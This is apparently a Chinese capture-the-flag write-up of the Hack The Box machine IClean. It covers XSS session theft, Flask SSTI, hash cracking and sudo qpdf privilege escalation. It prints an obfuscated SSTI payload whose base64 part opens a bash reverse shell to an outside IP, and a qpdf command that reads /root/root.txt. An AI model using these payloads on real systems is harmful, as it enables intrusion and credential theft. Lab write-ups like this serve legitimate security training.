HTB IClean

首先做一个常规的信息收集,扫描端口以及开放服务、目录爆破、子域名等等

image-20240407140431793

image-20240417120715756

只开了22和80,目录爆破也没什么特殊路径。那不出意外就是在web上动手了

ps:在访问dashboard的时候有302跳转到主页面,没有内容显示。可能需要session

访问一下80端口是一个类似于清洁公司的服务,各种跳转点点点。在每个路径可以控制输入参数的地方试试命令执行或者xss。最终在sendmessage页面找到了xss。

image-20240407154027786

拿到session,根据之前的推测,加了session之后果然可以访问到dashboard

image-20240407154106449

image-20240407161329013

image-20240407161346875

获得四个新的路径,也需要添加session才可以进行访问

image-20240407161411543

image-20240407162122481

InvoiceGenerator中生成invoice后输入QRGenerator中会生成二维码链接,输入链接会生成账单

image-20240409140029157

image-20240407162140635

image-20240407162150766

扫出来模板是flask的,可能会存在ssti,一个一个点查过去。结果发现qrlink中存在ssti,但是很隐晦

image-20240409135902835

反弹shell

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzg4ODggMD4mMSIK | base64 -d | bash")["read"]() %} a {% endwith %}

image-20240409144642856

查看文件,里面有个app.py。发现里面有数据库的配置:

image-20240410162400054

mysql直接连接经常会报错,这里推荐一个shell升级的办法:

1、nc监听的时候用rlwrap包装,即rlwrap nc -nvlp <port>
2、查看靶机是否有python,可以用which来找。which python python2 python3
3、如果存在python可以执行命令python3 -c "import pty;pty.spawn('/bin/bash')"
4、接下来设置一些重要的环境变量
(1)export SHELL=bash
 (2) export TERM=xterm-256color
5、ctrl-z将shell返回到后台
6、使用命令stty raw -echo;fg
7、回车输入reset后再回车将再次回到shell

升级完shell后可以连接mysql
image-20240410163545743

分析一下hash的类型

nth -t <hash>

image-20240410190731662

爆破一下。很奇怪我的hashcat跑不出来,john可以跑的出来

image-20240410190817343

拿到密码,尝试ssh连接

image-20240410191008929

sudo -l一下看看特权指令

image-20240410193955826

阅读qpdf官方文档查看有没有可以利用的点

https://qpdf.readthedocs.io/en/stable/cli.html

最终的payload构造如下:

sudo /usr/bin/qpdf --empty /tmp/root.txt --qdf --add-attachment /root/root.txt --

具体含义是:

image-20240410194120654

提权成功!